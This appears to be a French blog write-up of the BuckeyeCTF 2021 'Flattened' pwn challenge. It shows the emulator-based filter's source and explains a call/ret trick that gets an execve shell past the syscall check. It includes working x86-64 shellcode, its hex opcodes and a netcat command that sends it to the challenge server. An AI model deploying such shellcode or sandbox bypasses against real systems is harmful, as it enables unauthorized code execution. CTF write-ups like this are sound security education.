lines of code on a computer

BuckeyeCTF 2021 Flattened

A la Une25/02/2022

Par Lucas Di Martino

Détails

  • Catégorie : pwn
  • Points : 471 pts
  • Résolutions : 18 solves

Description

My server uses the latest technology to flatten your program before executing it:

nc pwn.chall.pwnoh.io 13377

Code source :

#!/usr/bin/env python3
import qiling
import pwn
import subprocess
import capstone.x86_const

pwn.context.arch = "amd64"
dump = []


def code_hook(ql, address, size):
    global dump
    buf = ql.mem.read(address, size)
    for i in md.disasm(buf, address):
        allowed_syscalls = {1, 0x3c}
        if (
            capstone.x86_const.X86_GRP_INT in i.groups
            and ql.reg.eax not in allowed_syscalls
        ):
            print(f"[-] syscall = {hex(ql.reg.eax)}")
            raise ValueError("HACKING DETECTED!")

        ignored_groups = {
            capstone.x86_const.X86_GRP_JUMP,
            capstone.x86_const.X86_GRP_CALL,
            capstone.x86_const.X86_GRP_RET,
            capstone.x86_const.X86_GRP_IRET,
            capstone.x86_const.X86_GRP_BRANCH_RELATIVE,
        }
        ignore = len(set(i.groups) & ignored_groups) > 0

        print(
            f"[{' ' if ignore else '+'}] {hex(i.address)}: {i.mnemonic} {i.op_str}"
        )
        if not ignore:
            dump.append(bytes(i.bytes))


inp = input("Enter code in hex:\n")
code = bytes.fromhex(inp)

ql = qiling.Qiling(
    code=code,
    rootfs="/",
    ostype="linux",
    archtype="x8664",
)

ql.hook_code(code_hook)
md = ql.create_disassembler()
md.detail = True
ql.run()

print("[+] Your program has been flattened! Executing ...")
new_code = b"".join(dump)
filename = pwn.make_elf(new_code, extract=False, vma=0x11FF000)
subprocess.run([filename])
 

Comprendre le problème

Le binaire attend l'exécution d'un shellcode.

Avant de l'exécuter sur le serveur réel, le shellcode sera exécuté dans une VM avec Qiling. Qiling va aplatir le binaire et appliquer quelques filtres sur les appels système.

Seuls deux syscalls sont autorisés : exit et write.

Lorsque le shellcode est exécuté dans la VM, certaines instructions sont supprimées pour l'aplatir. Ces instructions sont :

ignored_groups = {
    capstone.x86_const.X86_GRP_JUMP,
    capstone.x86_const.X86_GRP_CALL,
    capstone.x86_const.X86_GRP_RET,
    capstone.x86_const.X86_GRP_IRET,
    capstone.x86_const.X86_GRP_BRANCH_RELATIVE,
}

Seules les instructions exécutées sont stockées sur le nouveau binaire aplati.

L'objectif principal est de contourner le jail de Qiling pour pouvoir obtenir un shell sur le serveur.

Résoudre le problème

Les instructions CALL et RET seront exécutées dans le jail Qiling mais ne seront pas présentes dans le binaire aplati. L'instruction RET nous permet de spécifier un nombre d'octets à pop de la stack avant de retourner. Il est donc possible de push deux valeurs sur la stack, qui correspondront aux syscalls ID: exit et execve. Dans le jail, l'instruction RET nous permettra de retirer le syscall ID execve de la stack et d'exécuter l'appel système exit. Dans le binaire final, les instructions RET et CALL ne sont pas présentes et donc le syscall execve sera exécuté. 

Mise en œuvre de la solution

PUSH 0x3C ; syscall id: exit
PUSH 0x3B ; syscall id: execve

call bypass

pop rax
; x86_64 linux shellcode http://shell-storm.org/shellcode/files/shellcode-806.php
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
push rsp
pop rdi
cdq
push rdx
push rdi
push rsp
pop rsi
; mov al, 0x3b

syscall

bypass:
    ret 8

Les opcodes correspondant à ce code sont:

6A3C6A3BE8180000005848BBD19D9691D08C97FF48F7DB53545F995257545E0F05C20800

(echo "6A3C6A3BE8180000005848BBD19D9691D08C97FF48F7DB53545F995257545E0F05C20800"; cat -)|nc nc pwn.chall.pwnoh.io 13377

Flag : buckeye{execve_plu5_0n3_1s_exit}

Nos autres actualités